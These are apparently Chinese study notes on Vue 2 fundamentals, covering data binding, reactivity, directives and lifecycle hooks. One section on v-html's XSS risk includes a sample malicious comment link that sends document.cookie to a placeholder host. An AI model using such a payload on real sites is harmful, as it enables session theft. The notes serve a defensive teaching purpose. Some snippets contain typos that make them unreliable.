https://www.bilibili.com/video/BV1Zy4y1K7SH
Vue2基础
简介
//创建Vue实例
new Vue({
el:'#root',//el为挂载点,表示这个实例为谁服务
data:{//data用于储存数据,el指定的容器可以使用这些数据
name:'尚硅谷'
}
})
控制台里的Root是Vue实例
模板语法 :{{}}、v-bind
- **{{}}**一般用于写标签栏的内容
- **冒号 😗*用于写标签里面的内容 ;冒号:是v-bind:的缩写
<h1>你好 {{name}} </h1>
<a :href="school.url">点我去</a>
<a v-bind:href="school.url">点我也可以去</a>
双向数据绑定(v-model)
- 使用v-model ,data里的数据会随着页面改变
- v-model只有输入类的表单元素可以使用 ,且只能操作value值,v-model:value可以简写成v-model
- 单项数据绑定如 **v-bind:**只能data改页面,不能页面改data
<input type="text" v-model:value="name">
<input type="text" v-model="name">
el与data
-
Vue的实例对象可以访问Vue构造函数原型上的**$mount方法**,这个方法可以绑定el,通过这个方法我们可以异步绑定容器
v.$mount('#root') //可以执行完异步再将vue模板与容器绑定绑定
-
data的函数式写法(以后只能这么写)
-
tip:不能写成箭头函数,vue会帮我们把在vue里面声明的函数的this都指向vue的实例对象。以后我们会需要用到。
new Vue({ data:function(){ return{ name:'尚硅谷' } } })
MVVM模型
-
以后我们用vm代指vue的实例对象
const vm=new Vue()
- data上的属性最终会添加为vm的属性
- {{}}与: 可以访问vm的所有属性。
-
Data Bindings:将data数据绑定到界面上
-
DOM Listeners:将页面发生变化的数据传回给data
Object.property
Object.property传入3个参数,第一个要操作的对象,第二个是要添加的属性,第三个是配置项
配置项:
- value :属性值
- enumerable:boolean 设置这个属性是够能被遍历
- Writable:boolean 控制属性是否能被修改
- configurable:boolean 控制属性是否可以被删除、
- get() 当属性被访问时会调用get,get具体内容由我们自定
- set() 当修改属性时会调用set,set可以接收将要修改的值,具体内容由我们自定
let number=18;
let person={
name:'张三',
sex:'男'
}
Object.defineProperty(person,age,{
get(){
console.log("有人读取age了");
return number //返回number的值
},
set(value){
console.log("有人修改了number且值是",value);
number=value; //修改number的值
}
})
数据代理
1.简易数据代理
全程对obj2操作,操作的却是obj1。
let obj1={x:100};
let obj2={y:100};
Object.defineProperty(obj2,'x',{
get(){
return obj1.x;
},
set(value){
obj1.x=value;
}
})
2.Vue里的数据代理
Vue通过传入的配置给实例对象vm创建了一系列属性,原先写在data里的属性被生成到了**_data**里,然后通过 如下方式给vm添加属性,这样就可以vm.name而不用_data.name
Object.defineProperty(vm,'name',{
get(){
return vm._data.name
},
set(value){
vm._data.name=value
}
})

事件处理
1.基本使用
- 可以用v-on:click 或者@click 这样的方式绑定事件
- 事件的回调定义在methods中,methods配置的函数this默认指向vm,且该函数最终会成为vm的属性
- @click='demo(66)'可以往回调传参,但这样回调就接收不到event事件了,如果需要使用event事件,请@click=‘demo(&event,66)’
- 函数写成showInfo(e)默认传参的话, @click="showInfo"即可,不能带括号,
<button @click="showInfo(&event,66)">点我提示信息</button>
new Vue({
methods:{
showInfo(event,number){
}
}
})
2.事件修饰符
- prevent:阻止默认行为
- stop:阻止事件冒泡(常用) (如果父子元素都有点击事件,点击子元素,会冒泡执行父元素点击事件)
- once:事件只触发一次 (如点击事件,只有第一次点击有效果)
<a href="www.baidu.com" @click.prevent="showInfo">点我</a>
<!-- 添加prevent就不会跳转百度 -->
<div class="box" @click="howInfo">
<button @click.stop="howInfo">我是按钮</button>
</div>
<!-- 正常会冒泡提示两次,但是添加了stop这样就不会冒泡给父元素 -->
<!-- 修饰符可以写多个 @click.stop.prevent 表示先阻止冒泡再阻止默认事件 -->
<button @click.once="howInfo">我只触发一次</button>
3.键盘事件
keydowm:按下就触发
keyup:按下抬起来才触发
vue常用的按键,即keydowm.xxx or keyup.xxx
enter 回车
delete 删除
esc 退出
space 空格
tab 换行 (特殊 只能配合keydown 因为默认tab按下光标就会切走,就获取不到target了)
up 上
down 下
left 左
right 右
1.系统修饰键 ctrl alt shift win 需要配合keydown使用
2.如果按键名是一串的得小写 如caps—lock
3.可以连写表示一起按,如:keydowm.ctrl.y 表示ctrl+y才触发
<input type="text" @keyup=showdata placeholder="输入按键查看按键名与按键编码" >
methods:{
showdata(e){
console.log(e.key,e.keyCode)
}
},
计算属性(computed)
拿已经有的属性去生成新的属性,这就是计算属性
- 计算属性需要我们为其配置getter和setter
- get被第一次调用会缓存,后面调用会直接拿缓存,不会再计算了
- 但如果计算属性所依赖的数据发生变化,会重新调一次get然后缓存
computed:{
fullname:{
get(){
return this.firstname+this.lastname;//注意 this是vm
},
set(value){
this.firstname=value[0];
this.lastname=value[1];
}
}
},
如果不需要set,可以将fullname写成函数
computed:{
fullname(){
return this.firstname+this.lastname;//不要为了便捷写成箭头哦!
},
}
监视属性(watch)
监视某个属性(普通属性or计算属性都行),这个属性发生变化时会调用handler函数
-
immediate: 不设置默认是false,意思为:是否在初始化时调用handller
-
handler: 可以传入2个参数,一个是当前的值,一个是变化前的值
-
通过vm.$watch(‘isHot’,{immediate:true,handler:f })可以实现相同效果‘
watch:{//普通属性和计算属性都能检测 'isHot':{ immediate:true, handler(curValue,preValue){ console.log("isHot被修改了",cur,preValue); }, //handler可以监视isHot数据前后的变化 },
-
deep:watch默认只监视第一层数据,如对象,watch只监视对象的地址是否改变,如果想监视对象的属性是否改变,请使用配置项 deep:true
-
监视属性的简写:
只使用handler的时候,监视属性可以简写成函数形式
watch:{ isHot(curValue,preValue){...}, } vm.$watch('isHot',function(curValue,preValue){...})
计算属性和监视属性区别
计算属性和监视属性都能实现需求的时候使用计算属性,但如果碰到异步任务这样的需求只能使用监视属性,因为计算属性依赖的是返回值,异步任务结束的时候,已经过了解析vue模板的那一步了。
fullname(){
setTimeout(()=>{
return this.firstname+this.lastname
},1000)
}
绑定class样式
:class绑定字符串:适用于样式类名不确定,需要动态指定
:class绑定数组:适用要绑定的个数不确定,名字也不确定
:class绑定对象:适用于要绑定的个数确定,名字不确定
<div class="basic" :class='mood' ></div>
<div class="basic" :class='classArr' ></div>
<div class="basic" :class='classObj' ></div>
data:{
name:'尚硅谷',
mood:"normal",
classArr:["at1","at1","at1"],
classObj:{
at1:false,
at2:false,
}
}
条件渲染
1.v-show:boolean
v-show:false 底层原理是 display:none,它不会删除节点,只是隐藏节点
<h2 v-show="false">当前的n值是:{{n}}</h2>
2.v-if:
2.1 按条件渲染,它会增删节点
<div v-if="n===2">baba</div>
<div v-else-if="n===3">papa</div>
<div v-else>aaaa</div>
2.2 template标签
template只能配合v-if使用,template标签在v-if渲染的时候不会被渲染。如:
<div id="root">
<template v-if="n===2">
<h2>shangugigu</h2>
</template>
</div>
//渲染后:
<div id="root">
<h2>shangugigu</h2>
</div>
列表渲染
1.v-for简介
-
v-for用于遍历动态生成某个标签,但是得设置key用于diff算法
-
v-for可以接收两个参数,第一个是值,第二个是索引,如果是对象的话,第二个是键
<li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}} </li>
2.key原理
key是虚拟dom对象的标识,数据发生变化时,vue会根据新数据生成新的虚拟dom,随后将新的虚拟dom与旧的虚拟dom比较,根据比较来决定如何利用旧的dom渲染新的dom,比较规则如下:
图1使用index作为索引,新生成了4次dom节点,效率低。(但如果没发生逆序操作,那么没有问题)
图2只生成一次dom节点,所以以id作为key效率高。(id常用手机号、学号、身份证等作为唯一标识)
列表过滤
用watch的时候,需要多借助一个变量来储存 fillpersons来储存搜索结果用来遍历,且需要immediate:true在一上来初始化fillpersons。
用computed的时候,默认第一次使用计算属性的时候就会运行里面的函数,会帮我们初始化。不需要借助别的变量,直接返回就行。
所以监视属性和计算属性都能用的时候,用计算属性
//用watch实现
// new Vue({
// el:'#root',
// data:{
// keyWord:'',
// persons:[
// {id:'001',name:"马冬梅",age:18,sex:"女"},
// {id:'002',name:"周冬雨",age:19,sex:"女"},
// {id:'003',name:"周杰伦",age:20,sex:"男"},
// {id:'003',name:"温兆伦",age:20,sex:"男"},
// ],
// fillpersons:[],
// },
// watch:{
// keyWord:{
//上来就调用,这时keyWord:'',相当于初始化fillpersons
// immediate:true,
// handler(val){
// this.fillpersons=this.persons.filter((p)=>{
// return p.name.indexOf(val)!==-1;
// })
// }
// }
// }
// })
//用计算属性实现
new Vue({
el:'#root',
data:{
keyWord:'',
persons:[
{id:'001',name:"马冬梅",age:18,sex:"女"},
{id:'002',name:"周冬雨",age:19,sex:"女"},
{id:'003',name:"周杰伦",age:20,sex:"男"},
{id:'003',name:"温兆伦",age:20,sex:"男"},
],
},
computed:{
fillpersons(){
return this.persons.filter((p)=>{//返回filter的返回值
//this.keyWord就相当于检测keyword的变化了
return p.name.indexOf(this.keyWord)!==-1;
})
}
}
})
Vue检测数据的原理
1.数据更新的一个问题
直接通过数组的索引修改数组的值,vue检测不到。
vue只检测Array改变数组的七个方法:pop push shift unshift reverse splice sort
因为vue里改写了这7个方法,vue里除了调用原生的这7个方法,还给它们添加了重新解析模板的功能
<button @click='updateMei()'>更新马冬梅信息</button>
data:{
persons:[
{id:'001',name:'马冬梅'}
]
},
methods:{
updateMei(){
//this.persons[0]={id:'002',name:'马xiaotiao'} //不改变
this.person.push({id:'002',name:'马xiaotiao'})//改变
}
}
2.数据变化的原理
- vm.student===vm._data.student 它们指向同一个地址
- vue初始化属性会为其设置getter和setter,而如果我们手动添加,就没有getter,setter,想要添加的化需要使用vue提供的方法。如:Vue.set() or vm.$set()
3.数据劫持
为data添加一系列方法就是数据劫持。数据劫持的意思就是你要更改data的数据,我不让你改,你改的不够,我劫持过来,我来改,我不止改,我还帮你重新渲染视图
总结:
1.Vue如何检测对象的数据
- Vue通过setter实现监视,所有在new Vue 时候添加的属性,Vue都会给它们添加setter。
- 如果后续需要添加响应式的数据,请用Vue.set() or vm.$set()。后续可以直接修改对象的属性,因为它们已经有setter了。
2.Vue如何检测数组的数据
- 数组的元素是没有 setter监测的,但如果数组的元素是对象,该对象的属性会有。
- Vue需要调用更改数组的7个方法(pop push shift unshift reverse splice sort),vue才能帮你重新解析模板。
- 如果调用不变更数组的方法,那么,用新数组替换原来的数组,如下列例子,实际是通过items的setter来监视数据。
- Vue实现了一些方法,使得 :用一个含有相同元素的数组去替换原来的数组是非常高效的操作
example1.items = example1.items.filter(function (item) {
return item.message.match(/Foo/)
})
3.注意
Vue.set() or vm.$set()只能往vm的某个对象里加属性,不能往vm上加属性
4.综合案例
const vm=new Vue({
data:{
student:{
name:'tom',
age:18,
hobby:['抽烟','喝酒','烫头'],
friends:[
{name:'jerry',age:"35"},
{name:'tony',age:"36"}
]}},
methods:{
addSex(){ this.$set(this.student,'sex','男') }
addFriend(){
this.student.friends.unshift({name:'haha',age:'55'})
},
updateFirstFriendName(){
//friends[0]是对象,它的name属性已经有自己的setter了
this.student.friends[0].name='张三';
},
updateHobbit(){
this.student.hobby.splice(0,1,"看电视")
// this.$set(this.student.hobby,0,"看电视")
// Vue.set(this.student.hobby,0,"看电视")
}
removeSmoke(){
this.student.hobby=this.student.hobby.filter((h)=>{
return h!== '抽烟
})}
}})
V-model收集表单数据
<input type='text' v-model.trim=' 2316515 '> //2316515
cookie原理
1.有的网站可能一次给完你所有的cookie,有的要依次访问依次给。
2.cookie很重要, 如果别人有了你的k1、k2就可以虚拟你的身份。所以请不要将自己的电脑给别人使用,并不是你不给别人看你账号密码的输入过程就行。如果实在要给别人使用,chrome可以一键删除cookie!
3.document.cookie可以拿到当前页面没有勾选HttpOnly的cookie,勾选HttpOnly的数据只有http协议可以读取。
4.v-html的安全隐患:如果你用V-for+v-html遍历输出评论内容,那么别人就可以在评论里进行xss攻击。
//某条危险的评论:
兄弟,要是还不懂看看这个
<a href=javascript:location.href='www.xxx.com'+document.cookie>
官网
</a>
内置指令
1.常用内置指令
v-if : 如果为true, 当前标签才会添加到页面
v-else: 如果为false, 当前标签才会添加到页面
v-show : 通过控制display样式来控制显示/隐藏
v-for : 遍历数组/对象
v-on : 绑定事件, 一般简写为 @
v-bind : 绑定解析表达式, 一般简写为 :
v-model : 双向数据绑定
v-text : 更新元素的 文本内容
v-html : 更新元素的 innerHTML
1.v-text
v-text会将文本的内容完全替换。
<div>你好,{{name}}</div>
//你好,xxx
<div v-text='str'>你好。</div>
//<h3>你好</h3>
data:{
name:张三
str:'<h3>你好</h3>'
}
2.v-html作用:
向指定节点中渲染包含html结构的内容。
与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会。
- v-html可以识别html结构。
- 严重注意:v-html有安全性问题!!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<div v-html='str'>你好2222</div>
//你好
//结构:<div ><h3>你好3333</h3></div>
data:{
name:张三
str:'<h3>你好3333</h3>'
}
3.v-clock
-
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
-
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
[v-clock] { display: none; }
4.v-once
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
5.v-pre
生命周期
生命周期又可以称为生命周期回调函数(或生命周期钩子),都是在某个阶段Vue帮我们调用的。
全流程:
1.
- 初始化生命周期函数(如mounted())
- 初始化事件(如 click.once()),在这一步vm上面还没有_data.
2.beforeCreate()
beforeCreate()表示在创建数据检测和数据代理前
3.
- 进行数据检测(如给对象属性添加setter、对操作数组的方法进行二次包装)
- 进行数据代理(你只需要vm.name就能访问vm._data.name)
4.created()
created()表示创建数据检测和数据代理完毕
5.
解析模板:
-
如下翻译模板
<h2>当前的n值是:{{n}}</h2> <h2>当前的n值是:3</h2>
-
但这一阶段还只是虚拟的dom,并没有挂载到页面上
-
判断
①是否有el,有就往下走,没有就等vm.$mount(el)调用再往下走
②判断是否有template配置项,有就解析template的内容,没有就解析el里的内容。
注意:template里面只能由一个大的容器包裹很多小的容器
③template里的内容会完全替换掉el,也就是el对应的标签最后会不存在。
new Vue({ el:'#root', template:` <div> <h2>当前的n值是:{{n}}</h2> <button @click='add()'>n+1</button> </div> `, })
6.beforeMount()
beforeMount()表示挂载前
7.
在vm.$el 存了一份真实dom
8.mounted()
mount 挂载/安装 mounted挂载完毕
Vue完成模板的解析,并把初始的真实dom元素放入页面后调用mounted(),往后重新解析模板就不会再调用mounted()了。
9.beforeUpadate() and updated()
beforeUpadate()表示更新前:
-
vue检测到数据变化后,会去对比新旧dom,然后完成页面更新
-
此时数据是新的,但页面时旧的
updated()表示更新完了:此时数据是新的,页面也是新的。
10.beforeDestroy()
在这一阶段,你可以访问数据跟方法,但是页面不会更新了。
销毁阶段:消除监听器、消除与子组件的联系、消除事件监听
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hMVpcEcC-1642865626531)(C:/Users/A/AppData/Roaming/Typora/typora-user-images/image-20220122195713804.png)]